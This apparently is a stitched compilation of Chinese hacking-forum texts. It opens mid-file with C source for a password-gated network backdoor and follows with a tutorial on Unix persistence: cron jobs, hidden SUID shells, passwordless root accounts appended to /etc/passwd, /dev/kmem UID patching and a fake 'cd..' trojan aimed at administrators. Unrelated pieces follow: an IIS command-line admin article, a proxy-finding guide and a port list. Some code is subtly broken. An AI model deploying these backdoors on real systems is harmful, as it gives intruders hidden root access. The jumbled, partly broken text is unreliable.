perror("socket");
exit(1);
}

my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {

perror("bind");
exit(1);
}

if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}

sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1)
    {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}

void
handle(int cmd)
{
FILE *fd;

switch(cmd) {
case '1':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Trojaning rc.local\n");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.\n");
break;
case '2':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Sending systemwide message..\n");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.\n");
break;
case '3':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding inetd backdoor... (-p)\n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
execl("killall", "-HUP", "inetd", NULL);
printf("\ndone.\n");
printf("telnet to port 2000\n\n");
break;
case '4':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding Suid Shell... (-s)\n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("\nSuid shell added.\n");
printf("execute /tmp/.sh\n\n");
break;
case '5':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding root account... (-u)\n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
printf("\ndone.\n");
printf("uid 0 and gid 0 account added\n\n");
break;
case '6':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Executing suid shell..\n");

execl("/bin/sh");
break;
case '7':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nInfo... (-i)\n");
printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving
    you\n");
printf("a root shell on port 2000. example: telnet 2000\n\n");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
printf("executed gives you a root shell. example:/tmp/.sh\n\n");
printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("\nBackhore BETA by Theft\n");
printf("\http://theft.bored.org\n");
printf("theft@cyberspace.org\n\n");
break;
default:
printf("unknown command: %d\n", cmd);
break;
}
}
<-->
_____________________________________________________________________________
高级篇

Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间（月、日、周、时、分）运行。如果你足够聪明，就应该加以利用，使之为我们制造“后门”！通过 Cron 服务，你可以让它在每天凌晨 2:00 （这个时候网管应该睡觉了吧。）运行后门程序，使你能够轻易进入系统干你想干的事，并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb

1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序

以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门，只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例：

0 0 * * * /usr/bin/retract

<++> backdoor/backdoor.sh
#!/bin/csh

set evilflag = (****grep eviluser /etc/passwd****)

if($#evilflag == 0) then

set linecount = ****wc -l /etc/passwd****
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->

[综合]

当然，我们可以编写木马程序，并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例：

<++> backdoor/backdoor3.c
#include
#define pass "triad"
#define BUFFERSIZE 6

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){

if(!(strcmp(pass,argv[1]))){

system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}

printf("372f: Invalid control argument,
    unable to initialize. Retrying");
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nAction aborted after 10 attempts.\n");
return(0);
}
<-->

[变种]

以下程序通过在内存中寻找你所运行程序的 UID，并将其改为 0，这样你就有了一个 suid root shell 了。

<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include

#define pass "triad"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);

if(fd<0){
printf("Cannot read or write to
/dev/kmem\n");
perror(argv);
exit(10);
}

userlocation=address();
where=(lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}

printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);

userpage.u_ruid=0;
userpage.u_rgid=0;

where=lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}

write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

execle("/bin/csh","/bin/csh","-i",(char
    *)0, envp);
}
}

}
<-->

[“笨”方法]

你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."？这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢？如果是这样的话，可不可以让他为我们做点“贡献”呢？:) 例如当他输入 "cd.." 时，会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例：

<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能，从而骗过管理员。
*/

#include
#include

main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
<-->


从命令提示符执行 IIS 中的管理任务

本文介绍如何从命令提示符执行 Internet 信息服务 (IIS) 中的管理任务。有几种工具可以帮助管理任务的执行。本文中，这些任务划分为三个独立的任务组；不过，所有任务都是由驱动器盘符:\Inetpub\AdminScripts 文件夹中 Administrator 组的组成员用户执行的。
备注：要打开命令提示符以执行本文介绍的任何任务，请按下列步骤操作：
单击开始，单击运行，键入 cmd，然后单击确定。
键入 cd Inetpub\AdminScripts 然后按 ENTER。
显示任务
可用来显示任务的两个命令是 findweb 和 disptree。另一个可用来显示树中某一特定管理节点中的相关域的命令是 dispnode。
查找虚拟 Web 站点
要查找虚拟 Web 站点，请在命令提示符下键入以下命令：
findweb -c 计算机名 www.域名.com
显示管理树
要显示管理树，可在命令提示符下键入下列两个命令之一：
disptree -a IIS://计算机名
或者
disptree -a IIS://本地主机/w3svc -n
创建任务
可用于创建任务的两个命令是 mkw3site 和 mkwebdir；不过，adsutil 命令行实用程序中包含几个设计用来创建进程内应用程序的命令。
创建虚拟 Web 站点
要创建虚拟 Web 站点，请在命令提示符下键入以下命令：
Mkw3site -r 根目录 驱动器盘符:\文件夹名 -t 新服务器名 -h 主机名 www.我的新 Web 站点.com
创建虚拟 Web 目录
要创建虚拟 Web 目录，请在命令提示符下键入下面的命令：
Mkwebdir -c 计算机名 -w "Web 站点名" -v 目录名, 驱动器盘符:\文件夹名
或者
Mkwebdir -c 本地主机 -w "Web 站点名" -v 目录名，驱动器盘符:\文件夹名
管理任务
有几个管理命令可用来执行从启动和停止服务到更改访问属性等各种任务。本文只为两个管理命令提供了分步指南，而下面列出了其他所有命令：
chaccess
contftp
contsrv
contweb
dispnode
disptree
findweb
mkw3site
mkwebdir
pauseftp
pausesrv
pauseweb
startftp
startsrv
startweb
stopftp
stopsrv
stopweb
synciwam
在不中断整个 Web 服务的情况下停止虚拟站点
如想在不中断整个 Web 服务的情况下停止虚拟站点，请从命令提示符下键入下面的命令：
adsutil STOP_SERVER W3SVC/服务器号
在本例中，对于 W3SVC/服务器号，可以键入 W3SVC/1 代表默认服务器，或者键入 W3SVC/2 代表 foobar 服务器。
在不中断整个 Web 服务的情况下启动虚拟站点
如想在不中断整个 Web 服务的情况下启动虚拟站点，请从命令提示符下键入下面的命令：
adsutil START_SERVER W3SVC/服务器号
在本例中，对于 W3SVC/服务器号，可以键入 W3SVC/1 代表默认服务器，或者键入 W3SVC/2 代表 foobar 服务器。
疑难解答
在创建 Virtual Web Directory（虚拟 Web 目录）之前必须为该目录创建文件夹；进程不自动创建此文件夹。如果在创建文件夹之前创建目录，就会收到一条错误消息。
您可以在"Internet Information 服务"控制台检查您在命令提示符下执行的所有进程。如果在命令行进行更改时控制台打开着，则请单击操作，然后单击刷新以在控制台查看这些更改


代理服务器应用一二三

代理服务器：英文名叫Proxy Server。一般来讲，作用有三个：
  一是通过它我们可以访问到一些平时不能去的网站。你可以打开你的浏览器输入“www.minghui.com”这个网址。怎样？没反应？并不是你的网络速度慢，也不是没有这个网站，而是你访问不到它。为什么访问不到？这个问题嘛......多数是因为被国内的ISP限制了访问。
  二是通过它来加快我们浏览某些网站的速度。有时候我们访问一些国外或者港台网站，速度。。。。但只要你正确的选用代理服务器，速度就可以得到提升，有时候这些速度的提升可是很明显的哦！（为什么呢？）
  三是充当firewall：因为当所有内部网的用户通过代理服务器访问外界时，只反映为一个IP地址，所以外界是不能直接访问到内部网的（黑客手段例外）；同时可以设置IP地址过滤，限制内部网对外部的访问权限。
如果你在以往浏览过程中出现过以上的情况，那么看来你有必要尝试一下使用代理服务器了。 为什么使用代理服务器可以使我们访问一些原本不能访问的网站呢？为什么使用它后浏览一些网站会比原来的快呢？可以这么说：代理服务器是网络信息的中转站，是介于浏览器和Web服务器之间的一台服务器，有了它之后，浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求，Request信号会先送到代理服务器，由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。而且，大部分代理服务器都具有缓冲的功能，它有很大的存储空间，它不断将新取得数据储存到它本机的存储器上，如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的，那么它就不重新从Web服务器取数据，而直接将存储器上的数据传送给用户的浏览器，这样就能显著提高浏览速度和效率。而且国外的网络大部分都是没有访问限制的，这也是为什么通过代理服务器能够访问的原因。
    要在茫茫网海找到这些服务器，就要靠一些专门的软件了，下面就是几款常用软件的介绍：
一.Proxy Hunter （代理猎手）
    目前版本是3.0,中文软件，使用方法见下。
二.Proxy now
    这是由Update now的作者开发的,由HTTP Proxy now、SOCKS Proxy now、FTP Proxy now组成，功能是分别搜索上述三类Proxy用的,不限制搜索IP范围,但没注册进入时会有延时,搜索速度还可以。
三.SOCKS Cat
    这是专门搜索SOCKS Proxy的,同样不限制搜索IP地址范围,速度也比较快,同时支持SOCKS4、SOCKS5的Proxy的搜索和验证。

Proxy Hunter简略使用说明：
当你添加完任务后，返回到主界面，按开始键，开始搜索。现在你需要做的事情就是盯住搜索结果栏和耐心地等待。
服务器地址：这里出现的就是你搜索到的代理服务器的IP。
端口：这个是它所用的端口。
类型：就是这个Proxy的类型。
验证状态：这个最重要，它的状态分几种，通常如果成功搜索到这个proxy的话，它会显示为“FREE”，那么你就可以直接使用这个proxy；如果显示为“要密码”的话，还用说吗？放弃吧！除非你有能力把它的密码破解：）；要是显示“连接超时”或“连接失败”等其他状态的话，那么可能你现在的网络正处于繁忙状态，也有可能是这个proxy暂时关闭了，你可以隔一段时间再去验证一次。
时间特性：这个数值影响到这个proxy的速度，它显示的是你的机器连接到proxy的时间，如果你有多个proxy供你选择话，那么就选一个相对数值小的一个吧，连接的时间越小就代表这个porxy越快。

找到了吗？恭喜恭喜~~
    那么究竟怎样才可以用这些Proxy呢？其实很简单，大部分软件都有一些软件属性的选项，比如“Setting”和“Preferences”等等。而在这些选项里面通常会有“Proxy”这个选项，你只需要在“Proxy”选项里面填上你搜索出来的Proxy的IP的端口，那么就可以使用这个Proxy了。如果软件是中文的话那么就更加简单，只要在“设置代理服务器”里面填上就ok了。
具体一些软件的设置就不多说了，昨天发了一篇贴子说得很清楚了。有兴趣的朋友可以翻翻看。

~~我很累，但我不会烦~~


端口表

1　tcpmux　TCP Port Service Multiplexer 传输控制协议端口服务多路开关选择器
2　compressnet　Management Utility　　　　 compressnet 管理实用程序
3　compressnet　Compression Process　　　　压缩进程
5　rje　Remote Job Entry　　　　　　　　　 远程作业登录
7　echo　Echo　　　　　　　　　　　　　　　回显
9　discard　Discard　　　　　　　　　　　　丢弃
11　systat　Active Users　　　　　　　　　 在线用户
13　daytime　Daytime　　　　　　　　　　　 时间
17　qotd　Quote of the Day　　　　　　　　 每日引用
18　msp　Message Send Protocol　　　　　　 消息发送协议
19　chargen　Character Generator　　　　　 字符发生器
20　ftp-data　File Transfer [Default Data]　文件传输协议(默认数据口)
21　ftp　File Transfer [Control]　　　　　　文件传输协议(控制)
22　ssh　SSH Remote Login Protocol　　　　 SSH远程登录协议
23　telnet　Telnet　　　　　　　　　　　　 终端仿真协议
24　?　any private mail system　　　　　　 预留给个人用邮件系统
25　smtp　Simple Mail Transfer　　　　　　 简单邮件发送协议
27　nsw-fe　NSW User System FE　　　　　　 NSW 用户系统现场工程师
29　msg-icp　MSG ICP　　　　　　　　　　　 MSG　ICP
31　msg-auth　MSG Authentication　　　　　 MSG验证
33　dsp　Display Support Protocol　　　　　显示支持协议
35　?　any private printer server　　　　　预留给个人打印机服务
37　time　Time　　　　　　　　　　　　　　 时间
38　rap　Route Access Protocol　　　　　　 路由访问协议
39　rlp　Resource Location Protocol　　　　资源定位协议
41　graphics　Graphics　　　　　　　　　　 图形
42　nameserver　WINS Host Name Server　　　WINS 主机名服务
43　nicname　Who Is　　　　　　　　　　　　"绰号" who is服务
44　mpm-flags　MPM FLAGS Protocol　　　　　MPM(消息处理模块)标志协议
45　mpm　Message Processing Module [recv]　消息处理模块
46　mpm-snd　MPM [default send]　　　　　　消息处理模块(默认发送口)
47　ni-ftp　NI FTP　　　　　　　　　　　　 NI FTP
48　auditd　Digital Audit Daemon　　　　　 数码音频后台服务
49　tacacs　Login Host Protocol (TACACS)　 TACACS登录主机协议
50　re-mail-ck　Remote Mail Checking Protocol　远程邮件检查协议
51　la-maint　IMP Logical Address Maintenance　IMP(接口信息处理机)逻辑地址维护
52　xns-time　XNS Time Protocol　　　　　　施乐网络服务系统时间协议
53　domain　Domain Name Server　　　　　　 域名服务器
54　xns-ch　XNS Clearinghouse　　　　　　　施乐网络服务系统票据交换
55　isi-gl　ISI Graphics Language　　　　　ISI图形语言
56　xns-auth　XNS Authentication　　　　　 施乐网络服务系统验证
57　?　any private terminal access　　　　 预留个人用终端访问
58　xns-mail　XNS Mail　　　　　　　　　　 施乐网络服务系统邮件
59　?　any private file service　　　　　　预留个人文件服务
60　?　Unassigned　　　　　　　　　　　　　未定义
61　ni-mail　NI MAIL　　　　　　　　　　　 NI邮件?
62　acas　ACA Services　　　　　　　　　　 异步通讯适配器服务
63　whois+ whois+　　　　　　　　　　　　　 WHOIS+
64　covia　Communications Integrator (CI)　通讯接口
65　tacacs-ds　TACACS-Database Service　　 TACACS数据库服务
66　sql*net　Oracle SQL*NET　　　　　　　　Oracle SQL*NET
67　bootps　Bootstrap Protocol Server　　　引导程序协议服务端
68　bootpc　Bootstrap Protocol Client　　　引导程序协议客户端
69　tftp　Trivial File Transfer　　　　　　小型文件传输协议
70　gopher　Gopher　　　　　　　　　　　　 信息检索协议
71　netrjs-1　Remote Job Service　　　　　 远程作业服务
72　netrjs-2　Remote Job Service　　　　　 远程作业服务
73　netrjs-3　Remote Job Service　　　　　 远程作业服务
74　netrjs-4　Remote Job Service　　　　　 远程作业服务
75　?　any private dial out service　　　　预留给个人拨出服务
76　deos　Distributed External Object Store 分布式外部对象存储
77　?　any private RJE service　　　　　　预留给个人远程作业输入服务
78　vettcp　vettcp　　　　　　　　　　　　 修正TCP?
79　finger　Finger　　　　　　　　　　　　 FINGER(查询远程主机在线用户等信息)
80　http　World Wide Web HTTP　　　　　　　全球信息网超文本传输协议
81　hosts2-ns　HOSTS2 Name Server　　　　　HOST2名称服务
82　xfer　XFER Utility　　　　　　　　　　 传输实用程序
83　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备
84　ctf　Common Trace Facility　　　　　　 公用追踪设备
85　mit-ml-dev　MIT ML Device　　　　　　　模块化智能终端ML设备
86　mfcobol　Micro Focus Cobol　　　　　　 Micro Focus Cobol编程语言
87　?　any private terminal link　　　　　 预留给个人终端连接
88　kerberos　Kerberos　　　　　　　　　　 Kerberros安全认证系统
89　su-mit-tg　SU/MIT Telnet Gateway　　　 SU/MIT终端仿真网关
90　dnsix　DNSIX Securit Attribute Token Map　DNSIX 安全属性标记图
91　mit-dov　MIT Dover Spooler　　　　　　 MIT Dover假脱机
92　npp　Network Printing Protocol　　　　 网络打印协议
93　dcp　Device Control Protocol　　　　　 设备控制协议
94　objcall　Tivoli Object Dispatcher　　　Tivoli对象调度
95　supdup　SUPDUP
96　dixie　DIXIE Protocol Specification　　DIXIE协议规范
97　swift-rvf　Swift Remote Virtural File Protocol　快速远程虚拟文件协议
98　tacnews　TAC News　　　　　　　　　　　TAC(东京大学自动计算机?)新闻协议
99　metagram　Metagram Relay

101/tcp hostname NIC Host Name Server
102/tcp iso-tsap ISO-TSAP Class 0
103/tcp gppitnp Genesis Point-to-Point Trans Net
104/tcp acr-nema ACR-NEMA Digital Imag. & Comm. 300
105/tcp cso CCSO name server protocol
105/tcp csnet-ns Mailbox Name Nameserver
106/tcp 3com-tsmux 3COM-TSMUX
107/tcp rtelnet Remote Telnet Service
108/tcp snagas SNA Gateway Access Server
109/tcp pop2 Post Office Protocol - Version 2
110/tcp pop3 Post Office Protocol - Version 3
111/tcp sunrpc SUN Remote Procedure Call
112/tcp mcidas McIDAS Data Transmission Protocol
113/tcp ident
114/tcp audionews Audio News Multicast
115/tcp sftp Simple File Transfer Protocol
116/tcp ansanotify ANSA REX Notify
117/tcp uucp-path UUCP Path Service
118/tcp sqlserv SQL Services
119/tcp nntp Network News Transfer Protocol
120/tcp cfdptkt CFDPTKT
121/tcp erpc Encore Expedited Remote Pro.Call
122/tcp smakynet SMAKYNET
123/tcp ntp Network Time Protocol
124/tcp ansatrader ANSA REX Trader
125/tcp locus-map Locus PC-Interface Net Map Ser
126/tcp unitary Unisys Unitary Login
127/tcp locus-con Locus PC-Interface Conn Server
128/tcp gss-xlicen GSS X License Verification
129/tcp pwdgen Password Generator Protocol
130/tcp cisco-fna cisco FNATIVE
131/tcp cisco-tna cisco TNATIVE
132/tcp cisco-sys cisco SYSMAINT
133/tcp statsrv Statistics Service
134/tcp ingres-net INGRES-NET Service
135/tcp epmap DCE endpoint resolution
136/tcp profile PROFILE Naming System
137/tcp netbios-ns NETBIOS Name Service
138/tcp netbios-dgm NETBIOS Datagram Service
139/tcp netbios-ssn NETBIOS Session Service
140/tcp emfis-data EMFIS Data Service
141/tcp emfis-cntl EMFIS Control Service
142/tcp bl-idm Britton-Lee IDM
143/tcp imap Internet Message Access Protocol
144/tcp uma Universal Management Architecture
145/tcp uaac UAAC Protocol
146/tcp iso-tp0 ISO-IP0
147/tcp iso-ip ISO-IP
148/tcp jargon Jargon
149/tcp aed-512 AED 512 Emulation Service
150/tcp sql-net SQL-NET
151/tcp hems HEMS
152/tcp bftp Background File Transfer Program
153/tcp sgmp SGMP
154/tcp netsc-prod NETSC
155/tcp netsc-dev NETSC
156/tcp sqlsrv SQL Service
157/tcp knet-cmp KNET/VM Command/Message Protocol
158/tcp pcmail-srv PCMail Server
159/tcp nss-routing NSS-Routing
160/tcp sgmp-traps SGMP-TRAPS
161/tcp snmp SNMP
162/tcp snmptrap SNMPTRAP
163/tcp cmip-man CMIP/TCP Manager
164/tcp cmip-agent CMIP/TCP Agent
165/tcp xns-courier Xerox
166/tcp s-net Sirius Systems
167/tcp namp NAMP
168/tcp rsvd RSVD
169/tcp send SEND
170/tcp print-srv Network PostScript
171/tcp multiplex Network Innovations Multiplex
172/tcp cl/1 Network Innovations CL/1
173/tcp xyplex-mux Xyplex
174/tcp mailq MAILQ
175/tcp vmnet VMNET
176/tcp genrad-mux GENRAD-MUX
177/tcp xdmcp X Display Manager Control Protocol
178/tcp nextstep NextStep Window Server
179/tcp bgp Border Gateway Protocol
180/tcp ris Intergraph
181/tcp unify Unify
182/tcp audit Unisys Audit SITP
183/tcp ocbinder OCBinder
184/tcp ocserver OCServer
185/tcp remote-kis Remote-KIS
186/tcp kis KIS Protocol
187/tcp aci Application Communication Interface
188/tcp mumps Plus Five's MUMPS
189/tcp qft Queued File Transport
190/tcp gacp Gateway Access Control Protocol
191/tcp prospero Prospero Directory Service
192/tcp osu-nms OSU Network Monitoring System
193/tcp srmp Spider Remote Monitoring Protocol
194/tcp irc Internet Relay Chat Protocol
195/tcp dn6-nlm-aud DNSIX Network Level Module Audit
196/tcp dn6-smm-red DNSIX Session Mgt Module Audit Redir
197/tcp dls Directory Location Service
198/tcp dls-mon Directory Location Service Monitor
199/tcp smux SMUX
200/tcp src IBM System Resource Controller
201/tcp at-rtmp AppleTalk Routing Maintenance
202/tcp at-nbp AppleTalk Name Binding
203/tcp at-3 AppleTalk Unused
204/tcp at-echo AppleTalk Echo
205/tcp at-5 AppleTalk Unused
206/tcp at-zis AppleTalk Zone Information
207/tcp at-7 AppleTalk Unused
208/tcp at-8 AppleTalk Unused
209/tcp qmtp The Quick Mail Transfer Protocol
210/tcp z39.50 ANSI Z39.50
211/tcp 914c/g Texas Instruments 914C/G Terminal
212/tcp anet ATEXSSTR
214/tcp vmpwscs VM PWSCS
215/tcp softpc Insignia Solutions
216/tcp CAIlic Computer Associates Int'l License Server
217/tcp dbase dBASE Unix
218/tcp mpp Netix Message Posting Protocol
219/tcp uarps Unisys ARPs
220/tcp imap3 Interactive Mail Access Protocol v3
221/tcp fln-spx Berkeley rlogind with SPX auth
222/tcp rsh-spx Berkeley rshd with SPX auth
223/tcp cdc Certificate Distribution Center
242/tcp direct Direct
243/tcp sur-meas Survey Measurement
244/tcp dayna Dayna
245/tcp link LINK
246/tcp dsp3270 Display Systems Protocol
247/tcp subntbcst_tftp SUBNTBCST_TFTP
248/tcp bhfhs bhfhs
256/tcp rap RAP
257/tcp set Secure Electronic Transaction
258/tcp yak-chat Yak Winsock Personal Chat
259/tcp esro-gen Efficient Short Remote Operations
260/tcp openport Openport
263/tcp hdap HDAP
264/tcp bgmp BGMP
280/tcp http-mgmt http-mgmt
309/tcp entrusttime EntrustTime
310/tcp bhmds bhmds
312/tcp vslmp VSLMP
315/tcp dpsi DPSI
316/tcp decauth decAuth
317/tcp zannet Zannet
321/tcp pip PIP
344/tcp pdap Prospero Data Access Protocol
345/tcp pawserv Perf Analysis Workbench
346/tcp zserv Zebra server
347/tcp fatserv Fatmen Server
348/tcp csi-sgwp Cabletron Management Protocol
349/tcp mftp mftp
351/tcp matip-type-b MATIP Type B
351/tcp bhoetty bhoetty (added 5/21/97)
353/tcp ndsauth NDSAUTH
354/tcp bh611 bh611
357/tcp bhevent bhevent
362/tcp srssend SRS Send
365/tcp dtk DTK
366/tcp odmr ODMR
368/tcp qbikgdp QbikGDP
371/tcp clearcase Clearcase
372/tcp ulistproc ListProcessor
373/tcp legent-1 Legent Corporation
374/tcp legent-2

374/tcp legent-2 Legent Corporation
375/tcp hassle Hassle
376/tcp nip Amiga Envoy Network Inquiry Proto
377/tcp tnETOS NEC Corporation
378/tcp dsETOS NEC Corporation
379/tcp is99c TIA/EIA/IS-99 modem client
380/tcp is99s TIA/EIA/IS-99 modem server
381/tcp hp-collector hp performance data collector
383/tcp hp-alarm-mgr hp performance data alarm manager
384/tcp arns A Remote Network Server System
385/tcp ibm-app IBM Application
386/tcp asa ASA Message Router Object Def.
387/tcp aurp Appletalk Update-Based Routing Pro.
388/tcp unidata-ldm Unidata LDM Version 4
389/tcp ldap Lightweight Directory Access Protocol
390/tcp uis UIS
391/tcp synotics-relay SynOptics SNMP Relay Port
393/tcp dis Data Interpretation System
394/tcp embl-ndt EMBL Nucleic Data Transfer
395/tcp netcp NETscout Control Protocol
396/tcp netware-ip Novell Netware over IP
397/tcp mptn Multi Protocol Trans. Net.
398/tcp kryptolan Kryptolan
399/tcp iso-tsap-c2 ISO Transport Class 2 Non-Control over TCP
400/tcp work-sol Workstation Solutions
401/tcp ups Uninterruptible Power Supply
402/tcp genie Genie Protocol
403/tcp decap decap
404/tcp nced nced
405/tcp ncld ncld
406/tcp imsp Interactive Mail Support Protocol
407/tcp timbuktu Timbuktu
408/tcp prm-sm Prospero Resource Manager Sys. Man.
409/tcp prm-nm Prospero Resource Manager Node Man.
410/tcp decladebug DECLadebug Remote Debug Protocol
411/tcp rmt Remote MT Protocol
412/tcp synoptics-trap Trap Convention Port
413/tcp smsp SMSP
414/tcp infoseek InfoSeek
415/tcp bnet BNet
416/tcp silverplatter Silverplatter
417/tcp onmux Onmux
418/tcp hyper-g Hyper-G
419/tcp ariel1 Ariel
420/tcp smpte SMPTE
421/tcp ariel2 Ariel
422/tcp ariel3 Ariel
423/tcp opc-job-start IBM Operations Planning and Control Start
424/tcp opc-job-track IBM Operations Planning and Control Track
425/tcp icad-el ICAD
426/tcp smartsdp smartsdp
427/tcp svrloc Server Location
428/tcp ocs_cmu OCS_CMU
429/tcp ocs_amu OCS_AMU
430/tcp utmpsd UTMPSD
431/tcp utmpcd UTMPCD
432/tcp iasd IASD
433/tcp nnsp NNSP
434/tcp mobileip-agent MobileIP-Agent
435/tcp mobilip-mn MobilIP-MN
436/tcp dna-cml DNA-CML
437/tcp comscm comscm
438/tcp dsfgw dsfgw
439/tcp dasp dasp Thomas Obermair
440/tcp sgcp sgcp
441/tcp decvms-sysmgt decvms-sysmgt
442/tcp cvc_hostd cvc_hostd
443/tcp https http protocol over TLS/SSL
444/tcp snpp Simple Network Paging Protocol
445/tcp microsoft-ds Microsoft-DS
446/tcp ddm-rdb DDM-RDB
447/tcp ddm-dfm DDM-RFM
448/tcp ddm-ssl DDM-SSL
449/tcp as-servermap AS Server Mapper
450/tcp tserver TServer
451/tcp sfs-smp-net Cray Network Semaphore server
453/tcp creativeserver CreativeServer
454/tcp contentserver ContentServer
455/tcp creativepartnr CreativePartnr
456/tcp macon-tcp macon-tcp
457/tcp scohelp scohelp
458/tcp appleqtc apple quick time
459/tcp ampr-rcmd ampr-rcmd
460/tcp skronk skronk
461/tcp datasurfsrv DataRampSrv
462/tcp datasurfsrvsec DataRampSrvSec
463/tcp alpes alpes
464/tcp kpasswd kpasswd
465/tcp smtps smtp protocol over TLS/SSL (was ssmtp)
466/tcp digital-vrc digital-vrc
467/tcp mylex-mapd mylex-mapd
468/tcp photuris proturis
469/tcp rcp Radio Control Protocol
470/tcp scx-proxy scx-proxy
471/tcp mondex Mondex
472/tcp ljk-login ljk-login
473/tcp hybrid-pop hybrid-pop
474/tcp tn-tl-w1 tn-tl-w1
475/tcp tcpnethaspsrv tcpnethaspsrv
476/tcp tn-tl-fd1 tn-tl-fd1
477/tcp ss7ns ss7ns
478/tcp spsc spsc
479/tcp iafserver iafserver
480/tcp iafdbase iafdbase
481/tcp ph Ph service
482/tcp bgs-nsi bgs-nsi
483/tcp ulpnet ulpnet
484/tcp integra-sme Integra Software Management Environment
485/tcp powerburst Air Soft Power Burst
486/tcp avian avian
487/tcp saft saft Simple Asynchronous File Transfer
488/tcp gss-http gss-http
489/tcp nest-protocol nest-protocol
490/tcp micom-pfs micom-pfs
491/tcp go-login go-login
492/tcp ticf-1 Transport Independent Convergence for FNA
493/tcp ticf-2 Transport Independent Convergence for FNA
494/tcp pov-ray POV-Ray
495/tcp intecourier intecourier
496/tcp pim-rp-disc PIM-RP-DISC
497/tcp dantz dantz
498/tcp siam siam
499/tcp iso-ill ISO ILL Protocol
500/tcp isakmp isakmp
501/tcp stmf STMF
502/tcp asa-appl-proto asa-appl-proto
503/tcp intrinsa Intrinsa
504/tcp citadel citadel
505/tcp mailbox-lm mailbox-lm
506/tcp ohimsrv ohimsrv
507/tcp crs crs
508/tcp xvttp xvttp
509/tcp snare snare
510/tcp fcp FirstClass Protocol
511/tcp passgo PassGo
512/tcp exec remote process execution;
513/tcp login remote login a la telnet;
514/tcp shell cmd
515/tcp printer spooler
516/tcp videotex videotex
517/tcp talk like tenex link, but across
518/tcp ntalk
519/tcp utime unixtime
520/tcp efs extended file name server
521/tcp ripng ripng
522/tcp ulp ULP
523/tcp ibm-db2 IBM-DB2
